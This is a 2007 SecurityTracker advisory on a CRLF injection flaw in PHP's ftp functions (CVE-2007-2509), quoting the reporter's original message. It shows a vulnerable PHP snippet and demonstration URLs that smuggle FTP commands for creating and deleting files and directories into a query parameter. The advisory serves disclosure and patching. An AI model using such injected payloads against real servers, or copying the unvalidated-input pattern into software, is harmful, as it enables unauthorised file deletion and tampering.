PHP CRLF Injection Bug Lets Remote Users Execute Arbitrary FTP Commands
|
|
SecurityTracker Alert ID: 1018022
|
|
SecurityTracker URL: http://securitytracker.com/id?1018022
|
|
CVE Reference: CVE-2007-2509
(Links to External Site)
|
Date: May 9 2007
|
Impact: Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): prior to 4.4.7 and 5.2.2
|
Description: A vulnerability was reported in PHP. A remote user may be able to execute arbitrary FTP commands.
The PHP ftp function does not properly validate user-supplied input. A remote user can supply specially crafted input to inject
a CR/LF character string and execute arbitrary FTP commands on the target FTP server.
A demonstration exploit URL is provided:
http://[target]/test.php?dir=loveshel
l%0D%0AMKD jnc%0D%0ADELE jnc.txt%0D%0Armd test
loveshell[at]Bug.Center.Team reported this vulnerability.
|
Impact: A remote user can execute arbitrary FTP commands on the target FTP server.
|
Solution: The vendor has issued a fixed version (4.4.7 and 5.2.2).
The PHP advisory is available at:
http://www.php.net/releases/4_4_7.php
http://www.php.net/releases/5_2_2.php
|
Vendor URL: www.php.net/releases/5_2_2.php (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: <fangxiaodun@discuz.com>
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 23 Mar 2007 08:39:17 -0000
From: <fangxiaodun@discuz.com>
Subject: CRLF injection in PHP ftp function
|
We found that there was one crlf injection in php ftp ftuntion.As same as http,you can
inject a '\r\n other command' in the paramer of a ftp function like ftp_mkdir,and then
php would send the \r\n to your connected ftp server.The server considerd there is a
new command,and the other command would be executed.
For eg:
<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......
Exp: http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD jnc%0D%0ADELE jnc.txt%0D%0Armd test
The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir test is
deleted.
tested on php 5.1.6,other function is vul also.
loveshell[at]Bug.Center.Team
|
|
